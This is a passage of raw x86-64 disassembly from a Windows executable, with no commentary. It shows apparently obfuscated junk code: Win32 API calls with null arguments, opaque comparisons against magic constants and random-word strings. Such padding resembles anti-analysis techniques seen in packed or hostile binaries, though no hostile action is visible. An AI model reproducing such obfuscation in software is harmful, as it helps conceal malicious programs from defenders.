mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xbbc0]
mov r8d, 0x6d
mov edx, 0xf9
mov rcx, qword [rsp + 0xbbc8]
call qword [sym.imp.USER32.dll_ScrollWindow]
mov dword [rsp + 0x5430], eax
movsx eax, byte [rsp + 0x194]
sub eax, 0x19
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
movabs rax, 0x349e2adbfda7ab51
mov rcx, qword [rsp + 0xbbb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
jmp 0x140005b8f
movsx eax, byte [rsp + 0x194]
add eax, 0x78
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
jmp 0x1402136e4
movsx eax, byte [rsp + 0x194]
sub eax, 0x25
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
cmp eax, ecx
jl 0x140005bd9
call qword [sym.imp.USER32.dll_GetInputState]
mov dword [rsp + 0x5434], eax
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x12c8], ax
jmp 0x140005c97
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
mov byte [rsp + 0x5438], al
cmp byte [rsp + 0x5438], 1
je 0x140005c04
cmp byte [rsp + 0x5438], 0x38
je 0x140005c66
jmp 0x140005c97
lea rax, [rsp + 0x195]
mov qword [rsp + 0xbbd0], rax
mov rax, qword [rsp + 0xb800]
mov qword [rsp + 0xbbd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbbe0], rax
mov dword [rsp + 0x543c], 0xe6b3c229
mov dword [rsp + 0x5440], 0x4b49
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbbe8], rax
jmp 0x140005c97
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
mov byte [rsp + 0x5444], al
cmp byte [rsp + 0x5444], 0x65
je 0x140005cb5
jmp 0x140005cdb
mov r8, qword [rsp + 0xbbb8]
mov rdx, qword [rsp + 0xbbb8]
mov rax, qword [rsp + 0xbbd0]
movzx ecx, byte [rax]
call fcn.1402141e0
nop
jmp 0x14021367e
movabs rax, 0x4421b30415d38fd2
cmp qword [rsp + 0xbbb8], rax
jne 0x140005de2
movzx eax, byte [rsp + 0x195]
or eax, 0xf5
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbb8]
shl rax, 8
mov qword [rsp + 0xbbb8], rax
movsx eax, byte [rsp + 0x194]
xor eax, 0x3d
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
cmp eax, ecx
je 0x140005d4f
mov edx, dword [rsp + 0x543c]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
jmp 0x140005da5
xor edx, edx
mov rax, qword [rsp + 0xb800]
movabs rcx, 0x87429106e35812f6
div rcx
cmp rax, qword [rsp + 0xbbd8]
jae 0x140005da5
lea rax, [rsp + 0x12cc]
mov qword [rsp + 0x20], rax
mov r9d, 0xf9
mov r8d, 0x7f
lea rdx, str.Decks_troubadour
mov rcx, qword [rsp + 0xbbf0]
call qword [sym.imp.USER32.dll_GetTabbedTextExtentW]
mov dword [rsp + 0x5448], eax
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [section..data]
and eax, ecx
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x20], 0x67
mov r9d, 0x32
mov r8d, 0xd6
mov edx, 0x71
mov ecx, 0x65
call fcn.140213850
nop
mov dword [rsp + 0x544c], 0x9001
mov eax, dword [rsp + 0x5448]
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
add eax, 9
movsx ecx, byte [rsp + 0x194]
cmp eax, ecx
jg 0x140005e66
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
movsx eax, word [rsp + 0x12d4]
add eax, 0x7010
mov word [rsp + 0x12d4], ax
mov rdx, qword [rsp + 0xbbb0]
mov rcx, qword [rsp + 0xbbf8]
call qword [sym.imp.USER32.dll_IsChild]
mov dword [rsp + 0x5430], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
nop
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
mov byte [rsp + 0x5454], al
cmp byte [rsp + 0x5454], 1
je 0x140005e8f
jmp 0x140005ee8
movsx eax, word [rsp + 0x12d4]
mov dword [rsp + 0x5458], eax
cmp dword [rsp + 0x5458], 0x301e
je 0x140005ed1
cmp dword [rsp + 0x5458], 0x4b89
je 0x140005eba
jmp 0x140005ee6
mov edx, dword [rsp + 0x543c]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
jmp 0x140005ee6
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
sub eax, 0x3a
mov byte [rsp + 0x194], al
jmp 0x140005f28
mov ecx, 0xa
call qword [sym.imp.USER32.dll_EnumClipboardFormats]
mov dword [rsp + 0x543c], eax
movsx eax, byte [rsp + 0x194]
sub eax, 0x1c
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x12c8]
and eax, ecx
mov word [section..data], ax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x545c], al
cmp byte [rsp + 0x545c], 0x15
je 0x14000602b
cmp byte [rsp + 0x545c], 0x1a
je 0x140005f54
jmp 0x140006042
movsx eax, byte [rsp + 0x194]
add eax, 0x2c
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
lea rax, [rsp + 0xbbb8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xbc00]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xbc00]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xbc00]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbc08]
mov r8, qword [rsp + 0xbc10]
mov rdx, qword [rsp + 0xbc18]
mov ecx, 0x76
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x5448], eax
movabs rax, 0xaffb8b40c9432456
mov rcx, qword [rsp + 0xbbd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb800], rax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov dword [rsp + 0x20], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov r9d, 0x77
mov r8d, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov edx, reloc.SHELL32.dll_ILRemoveLastID
mov ecx, 0x7d
call fcn.140213850
nop
jmp 0x140006042
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
or eax, 0xbb
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
sar eax, cl
mov byte [rsp + 0x107], al
lea rcx, str.Aquariums_Chambered_slicked_baa
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12d0], ax
movzx eax, word [rsp + 0x12d4]
mov word [rsp + 0x12d8], ax
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x12c8]
shl eax, cl
movzx ecx, word [section..data]
cmp eax, ecx
je 0x14021354d
mov rax, qword [rsp + 0xbbb8]
mov qword [rsp + 0xbc20], rax
mov dword [rsp + 0x5460], 0x7d5d
movzx eax, word [section..data]
mov dword [rsp + 0x5464], eax
cmp dword [rsp + 0x5464], 0
je 0x1400060e9
cmp dword [rsp + 0x5464], 0xf1b
je 0x140006138
jmp 0x140006246
lea rax, [rsp + 0xbbd8]
mov qword [rsp + 0xbc28], rax
lea rax, [rsp + 0x194]
mov qword [rsp + 0xbc30], rax
lea rax, [rsp + 0x12c8]
mov qword [rsp + 0xbc38], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x195]
mov qword [rsp + 0xbc40], rax
jmp 0x140006246
mov rax, qword [rsp + 0xbbb8]
mov qword [rsp + 0xbc48], rax
movabs rax, 0x3d615afd56a08149
cmp qword [rsp + 0xbc48], rax
je 0x14000618f
movabs rax, 0x405d0f243ad85b5a
cmp qword [rsp + 0xbc48], rax
je 0x140006175
jmp 0x140006246
mov edx, dword [rsp + 0x5448]
movzx ecx, word [rsp + 0x12d8]
call fcn.140213c40
nop
jmp 0x140006246
lea rax, [rsp + 0x321a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xbc00]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xbc18]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x44cb0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbc18]
mov r8, qword [rsp + 0xbc10]
lea rdx, str.coverup_neutron_rampUnisonFacsimiles
mov ecx, 0xf6
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
and eax, ecx
mov word [section..data], ax
movabs rax, 0x105af40f17a3ca59
mov rcx, qword [rsp + 0xbbb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xb800]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbbd8], rax
mov eax, dword [rsp + 0x5440]
add eax, 0x9d
mov dword [rsp + 0x5440], eax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sar eax, cl
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x195], al
movsx eax, word [rsp + 0x12d4]
add eax, 0x4024
mov word [rsp + 0x12d8], ax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x12cc], ax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
movabs rax, 0x7ab39fc719d052f7
mov rcx, qword [rsp + 0xbbb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x5450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x543c], eax
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movsx eax, word [rsp + 0x12d4]
sub eax, 0x4daf
mov word [rsp + 0x12d8], ax
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
nop
cmp dword [rsp + 0x5440], 0x681c
jbe 0x140006246
movabs rax, 0x72d20fbe55161baf
mov rcx, qword [rsp + 0xbbb8]
and rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xbc20]
jge 0x1400064c3
lea rcx, [rsp + 0xbbd8]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xbc50], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
xor eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [section..data]
shl eax, cl
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
jmp 0x1402134da
mov rax, qword [rsp + 0xbbb8]
sar rax, 0x26
cmp rax, qword [rsp + 0xbc20]
je 0x1402134da
mov rax, qword [rsp + 0xbbd8]
mov qword [rsp + 0xbc58], rax
mov dword [rsp + 0x546c], 0x127c
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbc58]
imul rcx, qword [rsp + 0xb800]
cmp rax, rcx
jbe 0x140006546
mov rdx, qword [rsp + 0xbc18]
lea rcx, [rsp + 0xbc28]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x5434], eax
jmp 0x140006610
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
movzx ecx, word [section..data]
mov rdx, qword [rsp + 0xbc38]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x140006610
lea rcx, [rsp + 0x2b8f8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0x5450]
mov dword [rsp + 0x5470], eax
mov eax, dword [rsp + 0x5468]
mov dword [rsp + 0x5474], eax
cmp dword [rsp + 0x5474], 0x2513f7f8
je 0x1400065d1
cmp dword [rsp + 0x5474], 0xc5e7dd2a
je 0x1400065ba
jmp 0x140006605
movsx eax, word [rsp + 0x12d4]
sub eax, 0x3880
mov word [rsp + 0x12d8], ax
jmp 0x140006605
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov edx, dword [rsp + 0x5450]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
mov dword [rsp + 0x5478], 0xdd07
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov byte [rsp + 0x547c], al
cmp byte [rsp + 0x547c], 0
je 0x140006631
jmp 0x140213358
mov eax, dword [rsp + 0x5470]
mov dword [rsp + 0x5480], eax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
and eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov eax, dword [rsp + 0x546c]
add eax, 5
mov dword [rsp + 0x546c], eax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x195], al
movsx eax, byte [rsp + 0x194]
movsx ecx, byte [rsp + 0x107]
and eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov word [section..data], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5345
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5404], eax
movzx ecx, word [rsp + 0x12c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12d0], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x5484], eax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
xor eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x107], al
lea rcx, [rsp + 0x2b8f8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
or eax, ecx
mov word [rsp + 0x12cc], ax
movsx eax, word [rsp + 0x12d4]
sar eax, 1
mov word [rsp + 0x12d8], ax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov eax, dword [rsp + 0x5470]
mov ecx, dword [rsp + 0x5488]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x195], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x5414], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x548c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x195], al
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x32290], 0x114
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
nop
cmp dword [rsp + 0x546c], 0x13e4
jbe 0x14000663f
movsx eax, word [rsp + 0x12d8]
sar eax, 0x5f
movsx ecx, word [rsp + 0x12d4]
cmp eax, ecx
je 0x140006b51
movsx eax, word [rsp + 0x12d4]
mov dword [rsp + 0x5490], eax
cmp dword [rsp + 0x5490], 0x524c
je 0x140006a7c
jmp 0x140006b3c
movsx eax, word [rsp + 0x12d8]
mov dword [rsp + 0x5494], eax
cmp dword [rsp + 0x5494], 0x2926
je 0x140006a9a
jmp 0x140006b19
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0xbc60], rax
movabs rax, 0xc61d82c6494078e4
cmp qword [rsp + 0xbc60], rax
je 0x140006ac3
jmp 0x140006af3
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xbc68], rax
mov rax, qword [rsp + 0xbbb8]
mov qword [rsp + 0xbc70], rax
lea rax, [rsp + 0x5450]
mov qword [rsp + 0xbc78], rax
jmp 0x140006b17
mov dword [rsp + 0x20], 0x38
mov r9d, 7
mov r8d, 0xad
mov edx, 0x8b
mov ecx, 0x28
call fcn.140213850
nop
jmp 0x140006b3a
mov rax, qword [rsp + 0xb800]
movzx ecx, al
mov rax, qword [rsp + 0xbbd8]
shl rax, cl
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
jmp 0x140006b51
movsx eax, word [rsp + 0x12d4]
xor eax, 0xdce
mov word [rsp + 0x12d8], ax
cmp dword [rsp + 0x5478], 0xd527
jbe 0x140006ce2
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
and eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
movzx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12c8], ax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbc58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbbb8]
mov rcx, qword [rsp + 0xbc70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xbc80], rax
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x5480]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x195], al
mov eax, dword [rsp + 0x5478]
sub eax, 0x70
mov dword [rsp + 0x5478], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movsx eax, word [rsp + 0x12d4]
add eax, 0x5510
mov word [rsp + 0x12d8], ax
movzx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12cc], ax
jmp 0x140006b51
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [rsp + 0x5498], eax
cmp dword [rsp + 0x5498], 0
je 0x140006d02
jmp 0x140213263
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc20]
mov rcx, qword [rsp + 0xbc70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbbd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb800], rax
mov r9d, 2
lea r8, [rsp + 0xbba8]
mov rdx, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x549c], eax
movsx eax, word [rsp + 0x12d8]
sub eax, 0x394a
mov word [rsp + 0x12d4], ax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
add eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
movzx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
mov eax, dword [rsp + 0x5450]
mov ecx, dword [rsp + 0x543c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc20]
mov rcx, qword [rsp + 0xbbb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc70], rax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbc58]
shr rax, cl
mov qword [rsp + 0xbbd8], rax
movsx eax, word [rsp + 0x12d8]
shl eax, 1
mov word [rsp + 0x12d4], ax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x195], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov eax, dword [rsp + 0x5470]
mov ecx, dword [rsp + 0x5468]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb800], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x302d
mov r9d, 0x3394
mov r8d, 0x41f83a5d
mov edx, 2
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x5418], eax
movzx ecx, word [rsp + 0x12d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12dc], ax
